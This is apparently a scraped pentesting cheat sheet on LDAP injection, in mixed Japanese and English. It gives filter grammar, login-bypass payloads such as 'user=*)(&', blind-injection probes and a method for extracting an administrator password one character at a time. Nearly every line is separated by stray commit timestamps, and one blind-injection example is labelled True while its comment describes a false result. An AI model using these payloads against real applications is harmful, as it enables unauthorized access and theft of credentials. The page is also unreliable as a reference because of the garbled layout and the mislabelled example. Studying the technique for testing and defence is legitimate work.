## LDAP Injection
2022-04-30 20:31:18 +00:00

### **LDAP**
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください:**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00

2024-07-19 16:28:25 +00:00
**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。

{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
2021-10-18 11:21:18 +00:00
2024-07-19 16:28:25 +00:00
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
2024-05-08 16:39:49 +00:00
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_ \
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
2024-07-19 16:28:25 +00:00
**(& )** = Absolute TRUE\
**(|)** = Absolute FALSE
2021-10-18 11:21:18 +00:00
2024-07-19 16:28:25 +00:00
For example:\
2021-10-18 11:21:18 +00:00
`(&(!(objectClass=Impresoras))(uid=s*))` \
`(&(objectClass=user)(uid=*))`
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
You can access to the database, and this can content information of a lot of different types.
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
**OpenLDAP**: 2つのフィルターが到着した場合、最初のフィルターのみを実行します。\
**ADAMまたはMicrosoft LDS**: 2つのフィルターでエラーが発生します。\
**SunOne Directory Server 5.0**: 両方のフィルターを実行します。
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
**フィルターは正しい構文で送信することが非常に重要です。さもなければエラーが発生します。1つのフィルターのみを送信する方が良いです。**
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
フィルターは次のように始まる必要があります: `&` または `|` \
Example: `(&(directory=val1)(folder=public))`
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
`(&(objectClass=VALUE1)(type=Epson*))` \
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
Then: `(&(objectClass=` **`*)(ObjectClass=*))`** will be the first filter (the one executed).

### Login Bypass
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。
2020-07-15 15:43:14 +00:00
```bash
user=*
password=*
--> (& (user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (& (user=*)(& )(password=*)(& ))
```
```bash
user=*)(|(&
pass=pwd)
--> (& (user=*)(|(& )(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (& (user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (& (user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(& )
password=pwd
--> (& (user=admin)(& ))(password=pwd) #Can through an error
```
```bash
username = admin)(!(& (|
pass = any))
2021-06-08 21:58:39 +00:00
--> (& (uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
2020-07-15 15:43:14 +00:00
```
```bash
username=*
password=*)(&
--> (& (user=*)(password=*)(& ))
```
```bash
username=admin))(|(|
password=any
--> (& (uid=admin)) (| (|) (webpassword=any))
```

### ブラインド LDAP インジェクション
2021-06-08 21:58:39 +00:00
2024-07-19 16:28:25 +00:00
False または True の応答を強制して、データが返されるかどうかを確認し、可能なブラインド LDAP インジェクションを確認できます:
2021-06-08 21:58:39 +00:00
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=* ))(& objectClass=void
Final query: (& (objectClass= *)(objectClass=* ))(& objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(& objectClass=void
Final query: (& (objectClass= void)(objectClass=void))(& objectClass=void )(type=Pepi*))
```

#### データのダンプ

ascii文字、数字、記号を繰り返すことができます:
2020-07-15 15:43:14 +00:00
```bash
(& (sn=administrator)(password=*)) : OK
(& (sn=administrator)(password=A*)) : KO
(& (sn=administrator)(password=B*)) : KO
...
(& (sn=administrator)(password=M*)) : OK
(& (sn=administrator)(password=MA*)) : KO
(& (sn=administrator)(password=MB*)) : KO
...
```
